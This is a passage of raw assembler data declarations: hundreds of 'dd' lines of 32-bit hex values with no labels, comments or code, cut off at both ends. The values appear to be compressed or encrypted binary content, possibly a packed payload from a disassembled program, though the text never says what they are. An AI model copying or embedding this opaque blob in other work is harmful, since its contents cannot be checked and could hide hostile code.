1721EB2Ah, 5D192BF8h, 0CA00224Ch dd 4322FB06h, 5C94507Dh, 6D0010DAh, 312658EEh, 6BEBFCC4h dd 83C95428h, 0B09CB97Dh, 1410EC2Ch, 0AD6E4984h, 0CED048h dd 338DA0E6h, 4CBFA55h, 105904AFh, 0B060ACCAh, 286E547h dd 0B7BE2653h, 9CD63306h, 4CCA1413h, 424EDC58h, 0CDC67B4Ch dd 884F0474h, 0D37A9F49h, 9E18A08Eh, 2D366740h, 0A820DEA7h dd 0D86AE160h, 0F892EB03h, 0F0A3DDEDh, 1D20A0Eh, 0B4E85812h dd 3B7CC643h, 34C9580Ah, 7748FA94h, 0E10328B8h, 0B98EB749h dd 0DE47E472h, 4C1301FAh, 64B03768h, 0E14B4340h, 733A707Ah dd 29D8119h, 3B4E1EF3h, 0CBC12080h, 0B93FB257h, 0E6665200h dd 0C999EC43h, 0E01142Fh, 5B0068E2h, 0B805B17Ah, 7B0FA625h dd 0C01E09FAh, 0A45E0C88h, 567E284h, 26D50B4h, 2CC0B145h dd 0D98E81DCh, 0F487DA68h, 0B0A84A7Bh, 0F165D130h, 0C401EB5Fh dd 75DCEE6h, 5ADAC6C0h, 30781675h, 41764538h, 6577091Eh dd 5905F08Bh, 9638B0E4h, 0B0BD670Ah, 0D94350h, 39CCF46Eh dd 79091F3Ah, 0EC6BFC00h, 0E6BFC1B6h, 0DCC04EA7h, 0BA076F84h dd 21904068h, 447759B2h, 0A86B2BBCh, 0E4208618h, 70BA9CBh dd 0F172C5C9h, 930E00A8h, 74C10860h, 0EF1D2800h, 8ABACCA6h dd 4035001Ah, 0AA84466Ah, 9C2D7E53h, 45D8A0AEh, 77C79F3h dd 0D9FCDE16h, 0D56D90E4h, 8295174Bh, 5CF520ECh, 0CA25806Ch dd 668955E4h, 5244C01h, 7B54FDADh, 0CB6D10F0h, 3C9004D9h dd 0BB001B58h, 0EA57E0A0h, 3A642912h, 9F002A5Eh, 6A0D8454h dd 849052FCh, 68FE1C25h, 12D7665Ch, 0D09DDCC4h, 0DECE324Ch dd 0E0BDC500h, 95EF1793h, 45610F07h, 960205A8h, 0F0F0443Ch dd 433CDCF6h, 59F00A08h, 6C040886h, 80805240h, 1F910BACh dd 40F1720Fh, 675BB98Bh, 0A7247885h, 0E4011A62h, 5664593Fh dd 790F52C4h, 0EDD20B22h, 0B078AA66h, 6E109501h, 52B4C67h dd 0EEF0ACD1h, 78974C2h, 29FFD0D6h, 0EF2142D5h, 0A04EE4D1h dd 6DABC889h, 2AE0A4h, 46F79C5Fh, 9DC1DCA5h, 0ED00B091h dd 26497CABh, 9E9F017Dh, 9AEA0BF9h, 718C6445h, 0DE02BC99h dd 51690D2Eh, 575F0030h, 0D640BA0Eh, 36F1E202h, 0FE4D3FDFh dd 42C240CCh, 84B78854h, 8C495C58h, 0A864D609h, 280AEC03h dd 0E25FCCEEh, 0BEACFE7Eh, 67078876h, 19E910Fh, 0FE8B4269h dd 0EE13E034h, 0B5824AC1h, 6A02E14Ch, 7FED7C31h, 0E08B4708h dd 26837C4h, 0B2FD847Dh, 84C87024h, 10BD346Fh, 4627934h dd 483A1112h, 0D194D28Bh, 0A095FA25h, 721088Eh, 7CEE2042h dd 0F42249F0h, 0F204CC0Dh, 60160082h, 547538Ch, 99E448Bh dd 0F82C8082h, 0D33B31BBh, 54607F6Eh, 5903C768h, 129C900Bh dd 0C83C8DC5h, 8500E2B0h, 8C6CF666h, 9BFFD1ACh, 0BD511D0h dd 6475F020h, 8ACC7CACh, 2E021046h, 196AD1F8h, 99E07461h dd 7053D056h, 788D318h, 804894E2h, 0D03A8EF8h, 36005C15h dd 0B6B42F63h, 4F55D403h, 35480507h, 806CEC3Fh, 1D397209h dd 0D4C107F4h, 2076233Dh, 0C90F47FDh, 7BEBC606h, 0F6166CBh dd 0A9A7EEB7h, 49F3E901h, 80EA08Ch, 9FEC2102h, 0F624BD7Bh dd 662FE0A0h, 97019D1h, 78608900h, 6DA7CE61h, 90581363h dd 46E042FDh, 0D8614FF0h, 0EFC41080h, 689B001Ch, 82836A18h dd 0C49597ABh, 4B863B80h, 3BB27B80h, 0E205A7C6h, 0BBA8B054h dd 12569B00h, 49DA53B9h, 0ED0C38DFh, 8200BA3Ch, 0E2B2802h dd 16004F69h, 188666C7h, 9E6E6A6Ch, 704C0BA8h, 0FC278C14h dd 0F30C3842h, 0A10D076Ah, 3AFA6E14h, 94A02710h, 9D38BFEEh dd 6004D17Dh, 0D98F1AD6h, 0AA0B3880h, 4880A254h, 25EE4BC0h dd 9CA1FCC3h, 6F18FA70h, 2076C822h, 8EA69FCCh, 40307702h dd 63052378h, 0EBB898Ch, 0C2EE5E61h, 6E080038h, 242051A8h dd 691C78EAh, 557A74C8h, 0BC041F00h, 0B780F035h, 4B69E2BEh dd 1198B34Ch, 884A23C8h, 0C4002768h, 0F9A492FAh, 79D538h dd 0CB08B537h, 0E74DB08Ah, 6816B92Fh, 5C2D90F0h, 4589F89Dh dd 6AF04476h, 0A8F06Fh, 2D17DCC6h, 688B72ECh, 602A6E25h dd 5A6DDEB0h, 13D41603h, 34E430F4h, 21170C2Dh, 844557EAh dd 0D820BE7Ch, 488BE16Fh, 0CD21A466h, 9B80D821h, 1C0E7AB3h dd 0A37C96h, 0E8199FFFh, 51AEA882h, 0F2007C96h, 79696DE4h dd 954B8BDh, 8380E7B0h, 0A10E1C4Ch, 0A0C75AD5h, 0B8C6E126h dd 0F1530207h, 69C92261h, 0BC1E8CF9h, 0EB202F22h, 4024B044h dd 3342A4A1h, 5A0CD067h, 0ABF847B2h, 53E07329h, 2747F9C0h dd 0C4423D2Dh, 0C8BF0730h, 0D391A756h, 96E08731h, 5A020140h dd 767C61D4h, 0D4805521h, 3CA188F1h, 80345448h, 222987EBh dd 6A2C0064h, 4066334Fh, 0A1DCF654h, 800C3C3Ch, 5E214CA9h dd 11BB701h, 3E64510h, 8AB6294Fh, 14E46611h, 0C0886F17h dd 0F4650136h, 35A1CE76h, 84202FD8h, 209D90Ah, 0A57EA240h dd 506085ABh, 0E800CA6Bh, 65F72C91h, 2AF73EBh, 2259FD93h dd 68E9A0BCh, 55E209E1h, 6ED7D010h, 5126CEEEh, 0F82114EBh dd 0CCA42F00h, 71B2AFh, 0B67CE4E1h, 373A45FFh, 464F7D79h dd 0A374EC70h, 5D0700C3h, 0CE460160h, 78015BEDh, 0D2D77516h dd 0BCD4B530h, 48A1002Bh, 0C8E90F8Fh, 663FF4EAh, 9C4300DEh dd 1D0D4F4Eh, 3BB800C9h, 75DB1DFh, 2BF8D974h, 406CE545h dd 6F7B1E00h, 6A1F8B8Ch, 0C104DC92h, 0ACAA582Bh, 9D299CF0h dd 4F3EAC04h, 82D7A04Ch dd 28982161h, 0C8D8E5h, 57C219D0h, 0F46003DEh, 580B08A8h dd 839C29E1h, 4A17FF6Dh, 0F9F4C851h, 2E4D9C00h, 0AEC4E38Eh dd 18E04Ah, 8FEC8ABBh, 7B238CFFh, 8E00989Dh, 0CDBF257Ch dd 74617879h, 0BC288B92h, 0A9ECC2C2h, 7A4928E1h, 4B3B1044h dd 0CBC77C01h, 80EC796Bh, 6F31DDFBh, 0D3DA0B94h, 0C896E221h dd 0B8A3E400h, 6034F842h, 2F1758F7h, 1C8F441Eh, 553CC471h dd 0C030BD67h, 0B85ECF6h, 222600C8h, 49403873h, 789EEEC6h dd 0DE71B506h, 0D074EFE9h, 709465h, 730E160Ah, 720030FDh dd 0B6997E60h, 0E8487178h, 0D48904C0h, 0C15DB0FEh, 10D3C800h dd 58C6BE69h, 5BC0A09Fh, 8DFF869Ch, 0D900AFF2h, 848BC64Dh dd 0BF6A398Ch, 50BBB481h, 0AD6C3027h, 0C40125FCh, 8F14F2D9h dd 86F9119h, 97416CDCh, 8507C58h, 58CDC3A8h, 1D7188D4h dd 4124C2F2h, 17FE98EBh, 28338Bh, 7A1D80DFh, 3EE47BD7h dd 979FF8F9h, 23D98069h, 0BA65BD56h, 0A00A5Ch, 5ED8DF6Fh dd 21D6658h, 12862C26h, 4C6EC2Bh, 0E9DFF701h, 0E884181Eh dd 79AB4C8h, 0CFCB577Fh, 0AE40C488h, 7D403C2Dh, 1E43CB76h dd 19ADC4Fh, 0FF1B2F40h, 0B4882B14h, 18728876h, 1341D909h dd 0D4F169h, 10B9E3BAh, 0FE3CC15Fh, 0B6F00D3h, 0DFF2B0BCh dd 651104F9h, 4020E23Fh, 438D863Ch, 0C2E801BBh, 11B190D5h dd 0FBF6709Dh, 18210D4Eh, 54C89A28h, 62FD03EFh, 495D1187h dd 406184B8h, 0E75E4C73h, 8DC68460h, 1FEFA02h, 0A5295E56h dd 303AEC24h, 0AD018A9Ch, 31363322h, 8440C65h, 2DA6B883h dd 0D0E40729h, 742F2000h, 8436EF2Eh, 6F5C1406h, 0F32CECE0h dd 0E9A53BD0h, 0E3503081h, 836086Dh, 55400A01h, 0ACA40344h dd 618C0225h, 0D7FA24C7h, 0A546E357h, 0BE9808FCh, 62005BB3h dd 60043D44h, 0EA4C16h, 54C05845h, 0EE6FD1CBh, 5F8F201h dd 0BE286ABFh, 1255D4DCh, 107CD6AEh, 75BB86h, 6C57E72Ch dd 0F6B33CB4h, 0F12AB100h, 9F30B2B5h, 0B6A40051h, 8AFC79BDh dd 9D0040E0h, 605E0C78h, 23B9Ch, 23F671D9h, 0F209E43Fh dd 0FA786163h, 0EC70EF0Bh, 3AC510E3h, 90E0F893h, 29023661h dd 0D21EE4FEh, 464C23E6h, 407140F7h, 0E19067F9h, 520DC1C0h dd 0B0E05E3Eh, 7321C0CDh, 476366B5h, 79AD1500h, 53451CECh dd 0E1D715E9h, 0B72014A3h, 60985740h, 2622196Ah, 8CF45137h dd 93742D00h, 3DC25D70h, 6E040C72h, 7BC9F52Eh, 0EFE22400h dd 1D1A450Ch, 81D83E66h, 0CFA1806Dh, 3D4C9800h, 450D61C2h dd 854640BFh, 5A59931Fh, 0EEF8F3D8h, 380EE1Ah, 0AFD8E91Eh dd 914C6F3Ah, 62A70385h, 88E2F4B3h, 1095D4Eh, 0BE08496h dd 80F70A7Ch, 50DC8A91h, 18C02088h, 20FFDA1Dh, 2301FA18h dd 0CB599226h, 0F680D847h, 0F1D1F204h, 0EC1591E1h, 5C0F0E6h dd 0B059E072h, 47C911C0h, 622A03EEh, 77680D65h, 5A19D9AEh dd 1AA17276h, 20F5E042h, 27BB532h, 0AC73530Fh, 0F309867Eh dd 43A839A1h, 80A3669Ch, 0DB460AF6h, 0F403EB54h, 0F52F6F45h dd 49E6F8h, 8FD49A99h, 5618016Bh, 0FAD75300h, 0F687DC70h dd 491C3E09h, 0C6F03D9Ch, 0A00E7A1Fh, 0C76444h, 53828848h dd 81E8EC04h, 93CD40C3h, 0A230E85Dh, 0F10F00B0h, 0F71BABE0h dd 1F24F3E7h, 0F20010E8h, 4A740B08h, 6098FE01h, 925EE969h dd 0C34C4312h, 471E0011h, 2826F779h, 3543B08Ch, 30E920F0h dd 0A1EA40B0h, 0B14A9600h, 3B5AD0EDh, 2711DD3h, 0DC2440F9h dd 0B568DA3Dh, 2C6D2524h, 0F4082164h, 5718671Eh, 0EB8151h dd 23C701DFh, 10B53D3Eh, 9F507093h, 0E7EF3D01h, 0D1B33207h dd 0C2560024h, 25247C39h, 41EFB0E2h, 62AB155Fh, 580CD045h dd 392496Bh, 0BAA0E057h, 74880ECDh, 750266CCh, 8ED8156Fh dd 0E68966Eh, 0EB297392h, 7821FB2Ch, 91CD0601h, 17A839CEh dd 0DC4082C1h, 7DE2B2h, 61225A1Fh, 0E43895DCh, 0CE406D50h dd 738C5852h, 0B004FE0h, 858C697Dh, 1769031h, 59808312h dd 10271708h, 604544E9h, 3588A86Dh, 0B6004325h, 98820C70h dd 24015CACh, 62C045B2h, 0BC41D7BCh, 4090457Ah, 6C428550h dd 3C0020D6h, 0B46D4C1Bh, 0E9E8E34h, 451E7A4Ah, 373FFFA0h dd 0B6E60BF1h, 0D8036676h, 10FA3BA5h, 815E00F0h, 0E056E771h dd 820022B4h, 0DDEE7780h, 770D063h, 0DF0F0D59h, 0ECA0CE97h dd 55139CA5h, 4F749h, 0C53B5BE8h, 913ABE59h, 52491FC8h dd 0CA5C30A7h, 0C500E204h, 0EA13E192h, 1B7B84Eh, 0DFCF2250h dd 35F03239h, 0E7E5D0B0h, 86387060h, 0EF5BE15Ch, 419B848h dd 0F0EB2744h, 5109216h, 1A00F06Ch, 0CE47EC74h, 60956311h dd 0F4773967h, 0C50F7D07h, 6E500E8Fh, 0F279E018h, 3EA454Ch dd 0C9E71613h, 100E5D71h, 400EC241h, 2A600D7Ch, 0A829044Eh dd 91F074EEh, 32D7EF18h, 40E2458h, 91E12209h, 8156B4Ch dd 0A0485F9Ch, 0A5453C09h, 0E42265B0h, 0A69844E1h, 747622B8h dd 29C0DEE2h, 0F90351D2h, 0D6220344h, 5066B3E1h, 2A13C1B8h dd 0E5EB9018h, 0B0FCF249h, 0F032235Ch, 0B2C46F90h, 54DC81EBh dd 0A45092E9h, 4B6DC32h, 0E80A1E5Fh, 0DB087CECh, 0EAEB8EE4h dd 5A581998h, 11F46D30h, 21A7090h, 0A59B477h, 0DB604EF3h dd 0F0146EA2h, 7720F6DDh, 8009FA42h, 8C09EC85h, 0E1DE82F7h dd 0BB48A4AFh, 807DF70Bh, 0A76545D0h, 0F4B53170h, 201F7B41h dd 8424F0h, 91096D26h, 569A3381h, 0BDBAF816h, 70964806h dd 79080059h, 32B8F39Eh, 0D6246FF5h, 0FA837C0Dh, 0C1625Ah dd 0EC141661h, 631B6F99h, 6D058676h, 0F754E758h, 0D3188Ch dd 0AB9EB01Ch, 514B66D7h, 4A32D500h, 2D04AC99h, 0FB050FADh dd 0C40B1E0h, 0D27137A1h, 0B900F0F6h, 33E1F879h, 987A82F2h dd 190906E0h, 0F0385591h, 0DE12C300h, 80E087F9h, 8A84026Ah dd 0A8EA71DFh, 647B8CC0h, 0BA3CA88h, 3B06B6Ch, 51443C10h dd 0F5C5AB0Ah, 0D009C64h, 69136A8Eh, 0EFF800BAh, 0AF6F0AF1h dd 0D800F0B2h, 8123CD3h, 6A191Ch, 0AD72A8D4h, 0D9DF1F7Eh dd 738B3200h, 15D68607h, 5C96F264h, 3B01243Ah, 61C95729h dd 0E87831D4h, 38916D68h, 8A1F033Ch, 0C4ED9A26h, 3AC2B580h dd 635A0962h, 0A893F8FBh, 744640ECh, 0C4ED5Eh, 0F3805613h dd 11D25801h, 0B5AA4500h, 941A10A1h, 4775C5Ah, 84D867C0h dd 0DA00C444h, 12504121h, 0EEE41FA0h, 79F40097h, 993B942Eh dd 14036D88h, 98B24604h, 17ADE076h, 0EE080E80h, 7263B8h dd 0C2557888h, 0D7170636h, 0B0684EDAh, 2368078h, 11E35898h dd 8AC5C392h, 0AC3063CDh, 0B4150267h, 247A0E78h, 6D5C0064h dd 4977CCE8h, 615B60D2h, 87F64101h, 9300867Bh, 0CCDEC525h dd 0F4483456h, 449CB0FCh, 0D2221638h, 896D3A6Fh, 87460F07h dd 7E0380EFh, 0E739484Eh, 0A3558022h, 0D86BCB82h, 0BBF2288Fh dd 3CB15968h, 5EB2AACFh, 0CE3026BCh, 80C192A4h, 762FB2A8h dd 4A44D609h, 8B7893F7h, 0B3E100ECh, 0EF06FEDEh, 8F00D170h dd 9D5B62DCh, 329A12h, 722478BEh, 0D3E9272Ch, 54414B8h dd 0ED5F1C28h, 82A19F2Ah, 9F8AA2CCh, 0D01ECB40h, 0B7D68102h dd 6E69745Bh, 173462Ch, 5A791A6Eh, 59AE596Fh, 0D54F4108h dd 78DE013h, 320044EAh, 4CD91D19h, 4F6A78Bh, 71252611h dd 8648C0B4h, 0DA0B367Fh, 10C86A1Ah, 92BED00h, 0D4960962h dd 18766410h, 12A2C500h, 84C46D93h, 0AD41039Ch, 42208356h dd 76E2EF0h, 0DAB53Fh dd 510113Bh, 0A870D23Dh, 0EE5C75A0h, 0D572004Eh, 9CB182FFh dd 4A7895EFh, 9F4CE702h, 0E674687Ch, 0A6730040h, 11B682C0h dd 0B30680EFh, 0ED2079C1h, 43853CA9h, 390ECC80h, 0C3C4A142h dd 0CEAC270Eh, 1A636345h, 26209049h, 80E89409h, 57B23438h dd 30B8ED8Fh, 5A0AB0E4h, 9426123Fh, 250B0821h, 22901109h dd 328D30h, 7C0F2CA5h, 54790383h, 45ED3A06h, 29EF0Ah, 2D593517h dd 72EAE710h, 0F941D917h, 6AA2CE05h, 4BF044CCh, 0BED05FDBh dd 1804448h, 27A691D7h, 671274B0h, 54896270h, 4C82B6F8h dd 0BE0E2C0Dh, 0E1E187Ah, 65CC6885h, 3B008329h, 0A381D1FEh dd 25C5C3EDh, 0C2470D8h, 132CB258h, 3EC0A6Eh, 0D5204800h dd 0B1B9F123h, 55093BB8h, 1BE8EB80h, 2278E090h, 28B61E6Ah dd 2419B009h, 6009386h, 70A629E3h, 24B26489h, 94640A87h dd 82394CD2h, 60B0BB09h, 88A6019h, 31278825h, 63EFCF00h dd 0CE299903h, 0B52F0017h, 1181A6B0h, 0F0031F4Eh, 8B067976h dd 408CEA8Ah, 50CB6758h, 1B230889h, 0E9E9F85Fh, 0EBD3A1B8h dd 0DF18D00h, 0B2CE8658h, 3E7205A3h, 47C0ABEh, 0C19739A4h dd 384BF98Ch, 500E3F20h, 1E00574Ch, 6381CF19h, 0C99723h dd 0F978319Ah, 9D9B69B9h, 1F3F2AF8h, 91F69E79h, 909FD580h dd 1EED36Bh, 28840562h, 2065CD32h, 3905F894h, 7A023B8Dh dd 0D5619040h, 25E61566h, 1CA24EEAh, 81236F74h, 59BA303Dh dd 1948B11h, 6CBFD102h, 0C07B1ECAh, 8860769Ch, 0DC242109h dd 198720FFh, 14727730h, 115CE2E0h, 0E810F8BCh, 930A5106h dd 8C07B710h, 0BB25B001h, 4D60E086h, 2860002Ch, 31B5D5F1h dd 123CF842h, 0EAAD00D2h, 0E056CAE8h, 2F130389h, 0D44A69C2h dd 7A2BD8E8h, 0A5E82E01h, 0EDEE9EF1h, 5F27987h, 0F0B654D7h dd 10B11944h, 0D079C780h, 7D15FEh, 6F4B2C5Ch, 43423AD9h dd 0F473D40Eh, 5C0E1729h, 1D8EF0Eh, 80AB106Eh, 54C47872h dd 0F3E8E001h, 9052BF88h, 4ED2CCBh, 3640002Eh, 0DFEFBAC7h dd 40C4BD55h, 9EE65769h, 80C8095Ch, 1FFD124Bh, 3CB71FDCh dd 0E277835Fh, 0C08D3E91h, 7BFB1CFCh, 22DC184Ch, 43954AE9h dd 5475289Ch, 97E7ADF0h, 0C241EC14h, 0AC3880D4h, 0DD5AD239h dd 62E50011h, 0E4D36628h, 6AB40216h, 9EDCB411h, 44327917h dd 6CD88086h, 0B8126FF4h, 0CB600C8h, 5F1E699h, 0A305DB4Fh dd 3695387Eh, 326E84C0h, 0BA65060Bh, 4972D23Fh, 0A85F5D00h dd 0BD2B92A6h, 0EFA61h, 3FD67991h, 53B27441h, 686BD800h dd 0FB768913h, 4C580011h, 0E8216D71h, 967C4B7Bh, 0ACDA2300h dd 20752AC8h, 0E4F8B85Fh, 0E8B9D2h, 2F9BEF71h, 68266E8Ch dd 0B161F875h, 0B8576D67h, 41208080h, 76E300C6h, 84E16209h dd 0FB0078F0h, 56CEF222h, 0F079317Ch, 672189Ch, 81637C2Ah dd 41DC0403h, 873648DAh, 9392C44Fh, 29EFA0C1h, 5ED1618Ch dd 1B004B69h, 0EAB6A316h, 3E91D8Bh, 5ABFE127h, 0B1981C3Bh dd 745C3A20h, 0B4F117F0h, 58142C20h, 0B3010093h, 0B0312B70h dd 30E55664h, 2544F19Ch, 0B0A4D1h, 0A5758ECDh, 5B9F2CF4h dd 3BDE281Fh, 5CC8DB45h, 0C45269C1h, 58334075h, 94D03730h dd 3F90A163h, 0F902D8A4h, 73F5790Fh, 8C4C9B75h, 19168B4h dd 9D6944C5h, 60F93D03h, 0D1883334h, 0B931C05Ch, 6A6B2E21h dd 76D3658h, 0FF2AD6D0h, 0A4DB85E0h, 998F0F41h, 0E0A03C31h dd 0C2B37AA3h, 0E4FAB900h, 0CE96024Dh, 0A9F550FDh, 0F9FF2C18h dd 0CFC3406Ch, 5AF45F9Bh, 664A6B79h, 0EAEB6C05h, 0DBEF7005h dd 247AE888h, 0A8840F8Bh, 1DC2142Bh, 972E54D2h, 915D003Bh dd 225AE640h, 53E77500h, 7A41089Ah, 0BFC2003Dh, 3BD53016h dd 0D600CC66h, 0ED39EA50h, 4E5A5E0Bh, 88E05678h, 6701319Ch dd 10C037B3h, 0B2C004BBh, 0EEA9C045h, 0E65F0971h, 246AA8B4h dd 222BA23Eh, 0DEEC5DD0h, 4A7B891Ch, 6B051E40h, 12061C8h dd 0C4DF1BB0h, 29076D80h, 180A4A8Ch, 0F91708D9h, 0E4303816h dd 9844AEh, 0CBF8A5E9h, 86DA1A33h, 0E300CCF4h, 678B47Ch dd 7DE0EB5Ch, 0B18B1D7h, 246C9319h, 4A00C090h, 709FEC67h dd 171920Ch, 16123C01h, 8691B46Eh, 4B067A11h, 5C984C29h dd 90201C8Eh, 0F8317E8Ch, 0F10A1718h, 4428A1h, 54DBFF0Eh dd 0B266B1ACh, 493B3E00h, 5CD9BA64h, 56E10751h, 0B01C084Ah dd 72EEA9B4h, 835820A0h, 91096D7Eh, 5683D80h, 0B45F52B4h dd 6329C120h, 720A5808h, 0D80400C4h, 2C4A9785h, 1380320h dd 0AB8FF5C2h, 0DCD078F2h, 0D5E9510Bh, 0BC60C7E1h, 2C94EA2Dh dd 0A2818000h, 0E0227FC1h, 0DDCA0040h, 61681371h, 0E204FE2Fh dd 0C9696E56h, 586DB088h, 0D4073331h, 8523FA46h, 0CC081F09h dd 8729EAF8h, 0BB19B300h, 0DDC5364Bh, 0BD4E00C2h, 4AD91D63h dd 6A0B2CAAh, 1B5EC1h, 0EBB63894h, 93891ECh, 4444B009h dd 6ED0331Fh, 67845340h, 0F799BFEh, 0E9508FF3h, 4D858B82h dd 19013046h, 90F50A57h, 0A7E05576h, 26831F88h, 2FCA053Fh dd 0A3DC81FAh, 0C880E286h, 3A71E10h, 60D83200h, 6F07F204h dd 0FA40C052h, 50572AD2h, 59388607h, 0C3C0CED0h, 24921791h dd 88C2E3Dh, 0D1086036h, 0B5298063h, 2EA1054Fh, 4ED29701h dd 507567B7h, 5209FC24h, 7700D496h, 7A78F547h, 50C81F3Ch dd 4059444Dh, 93D0FF91h, 48C51FF3h, 8C10AD38h, 0E9009B46h dd 5F7505BDh, 17C0643Ch, 0C1569C84h, 64F6B1DFh, 1C8471A0h dd 19560514h, 156C7045h, 2E485000h, 8CCA86h, 0D6D2790h dd 7B3B4A91h, 8844B4B8h, 2953081h, 7CA33081h, 0F507CC73h dd 0A1DC255Bh, 0DB4DE9E0h, 0F6F9010Ch, 450D1BC7h, 0E008C3h dd 8C582798h, 0E10B7201h, 1126B030h, 0CFA7FAEDh, 445E7678h dd 4072D0CBh, 33BED4C1h, 1E570036h, 26354B22h, 30005EBh dd 0D4E628E0h, 1D835A38h, 49F616h, 0DE14F775h, 0A7B0537Eh dd 72C42751h, 577B0918h, 3E610499h, 1638E0h, 0C88BE059h dd 0E3087E83h, 7B805F1Ch, 0C2A815CBh, 208C5960h, 0CF873DD6h dd 0A19E5C80h, 0B08048D0h, 5113BB7Eh, 4C00294Bh, 0BE4ECAD8h dd 23DA4C99h, 0FB35C900h, 0ABD47AEh, 2CB05E4Ch, 858A0EAh dd 0A06D0060h, 0A8025D20h, 0F4003E6Eh, 950E3FE3h, 18FE01Dh dd 0F128AC4Bh, 8014CE91h, 29BE0D39h, 9CE0E3F0h, 54EC44A8h dd 10DCC054h, 3DD7230h, 0CA64A817h, 0B80187Eh, 601819D6h dd 8541E1F8h, 0C4B4025Dh, 62080A72h, 13E0EF01h, 95271C2Ch dd 3F9CF820h, 90018C5h, 0D579A23Eh, 3DBD130h, 6FFFAFBFh dd 15A89B26h, 3A091A95h, 3B3C22h, 5B69EF08h, 0BF400035h dd 452A72Dh, 72E48039h, 19283003h, 3ADFF859h, 1D802391h dd 332EF9B7h, 7E00ABCFh, 12947FBAh, 66C8860h, 9BE2094Dh dd 92E538FDh, 70C885A9h, 0C2E42C41h, 0C72401B2h, 0F8D76542h dd 9501E0D8h, 44FF1183h, 0AC605D28h, 22B20538h, 12E6D37h dd 7A187C90h, 0F19DE81Ch, 609547Ch, 0AD3EE5h, 5BB2145Ch dd 70A50059h, 0E99E741Eh, 0F82C7179h, 20657819h, 5FA61A81h dd 0BE6D0D4h, 0AB98D402h, 13EDD811h, 0EA7FB06Eh, 0FD060EA7h dd 34807E73h, 0E7796719h, 80A20201h, 5AD7311Ch, 68E4C831h dd 1070C2DEh, 0A4535F78h, 5ECE9204h, 7A58405Eh, 71867607h dd 5B0A93Ch, 6E5BB8CDh, 486704E4h, 2412E0C0h, 71FC0895h dd 6A81549Eh, 82AEB390h, 0FDE9C30h, 47D7B060h, 5A65F161h dd 5EB46C80h dd 55F8384Eh, 7B03CE0h, 10062C8Ch, 5014DA40h, 0B5E40644h dd 0A1537667h, 0B458102h, 54056A38h, 0DC0F69CCh, 0D4AE980h dd 30A0C5EAh, 44B6705Ah, 0A02C098Ah, 6AC0A49Dh, 0BA791B2Eh dd 727E5Bh, 62D27AC2h, 0BC769BAAh, 0D8EC3938h, 44EBB8A4h dd 0E13F581Eh, 0A8D0ACABh, 91D2F640h, 0D97D02D8h, 98EF38FAh dd 0D5B08480h, 0E800568Ch, 80611CBAh, 74C7DB1Fh, 457A40h dd 0C03FE1FFh, 8A0FBFA1h, 0F1269A00h, 1080DD7h, 70A202F9h dd 91F4D930h, 1C165460h, 0A7E0E901h, 0E5EFB479h, 91801068h dd 0EC0454FCh, 0FB07E0B9h, 0D10C645Ah, 537C5A67h, 4FD83050h dd 1D000385h, 37BAE758h, 769B5EAAh, 60B36FF1h, 86B040D7h dd 1E1F7145h, 0DAE4EA05h, 58C03B8Fh, 94CCF287h, 0E2D881C8h dd 0EC90C94Eh, 2E2818F1h, 6342EC26h, 0E02A063h, 16CB048Dh dd 1CCCC1FFh, 0E0BB12EFh, 92D7E500h, 57851638h, 556804D4h dd 0EC9202FAh, 0E0D2E4h, 0E0572D78h, 806CD69Bh, 0F78CBA54h dd 759541CFh, 0BCE11D80h, 0F3BE5D87h, 694C94A1h, 272BC243h dd 84A07F70h, 0EB1A7093h, 8109DF16h, 0C20A8446h, 0F30145A8h dd 0FE202Fh, 10A7E9D4h, 173D2C1Ah, 22AD13ACh, 0F851DA94h dd 0C8DC570Ch, 1AFC4040h, 0CC0F4CF2h, 49E4F017h, 0B8A8B9F2h dd 0CD4F70h, 0E09C1C60h, 246AD5Bh, 2987FF01h, 0AF596862h dd 7C502271h, 179D2F1h, 60FC5DE0h, 40BAF280h, 3CF0D708h dd 0C4D252h, 7FBD1003h, 0C3E7BCh, 0E120BE56h, 817DE204h dd 1DB0787Fh, 0CDA9AF19h, 8441B6A8h, 0EDED3E70h, 0CA09D06Dh dd 20E210B1h, 5ECCDCC3h, 2D266280h, 283FBED7h, 40CC4CA2h dd 74A1BBD2h, 0F073106Eh, 3F27E691h, 2D8E16C1h, 4560A152h dd 98137659h, 7B217800h, 4C67A65Eh, 41D24B0Dh, 9E273C44h dd 0E840F463h, 177F400h, 98CE257Ch, 961C63Eh, 0AE0199F6h dd 81C81637h, 3C6D71D8h, 0EC6E1900h, 6310DAE0h, 39689530h dd 2FE336Fh, 0BF5D2609h, 0E8E0D715h, 1004F5B9h, 1C47B23h dd 0BDC180D7h, 0A46091A8h, 0EBA905C5h, 0C007AD81h, 5519A378h dd 2CE39F58h, 0AB004C2Ch, 306D2A74h, 86130082h, 1C09717Ch dd 17E8BC19h, 24548059h, 0E026E4E9h, 6488F310h, 9874D080h dd 12C531DFh, 0E0718717h, 0FF006948h, 52A90C73h, 175FA4DBh dd 404909Dh, 0C04A14E9h, 2E76A8CBh, 3EF338h, 7C3B38Eh dd 0B46D2Fh, 0CF34D5B9h, 19272911h, 0C9E47202h, 9B631B64h dd 1790BFD8h, 12FFB639h, 0E63AC256h, 6944066Ch, 1311D9C9h dd 0A060B475h, 0C70159E8h, 7D22AA8Ch, 0DCE0DB72h, 0C4025439h dd 4080BE1Ah, 5CCB3197h, 22C18100h, 1210FA1Dh, 29A0008Ch dd 0E764B65Ah, 81008DE8h, 39E4B86Dh, 266FF1Dh, 5A3B1EB3h dd 0E84812F8h, 0E01F2A4Eh, 96C07C7Bh, 9A85329Ch, 0CAD300B1h dd 3A01B273h, 20011579h, 507C13DBh, 8040FA33h, 724534F3h dd 191462C2h, 1871B706h, 0A4A93C00h, 8610B9h, 0BDE67F44h dd 0F754DFF0h, 2C83814Bh, 4DD1025Dh, 41A01337h, 0A880B663h dd 1039C781h, 0EFC609CAh, 0B11490E2h, 80AB0F6Dh, 0A5008F07h dd 0C76B4EC1h, 84F33A0Fh, 0F62DE08Ch, 12A76860h, 0F0F8B6h dd 0EA0B74FCh, 70009FEDh, 0D0489015h, 0F77A50h, 0F696C806h dd 5A62C2D5h, 0B867762Dh, 0D9588h, 593E69E7h, 0FF724508h dd 0D0C86D4Ah, 0F0F75279h, 1409633Fh, 380278ADh, 0C749681h dd 2928B283h, 34B5C0E3h, 0CB681E72h, 200A938Eh, 0E685800Ch dd 25001178h, 8403D36Dh, 98DF9645h, 23934BA0h, 0C698637Ch dd 140066A0h, 6E8BD56Ch, 2FA8FABEh, 0C8200A0Dh, 73ECA5EFh dd 0AB5D6700h, 40024128h, 5A58000Fh, 8059B83Bh, 76256857h dd 6C4E7Eh, 5D01D35h, 0C4C8387Ch, 6FFE8E00h, 7AA452E9h dd 0F53400CCh, 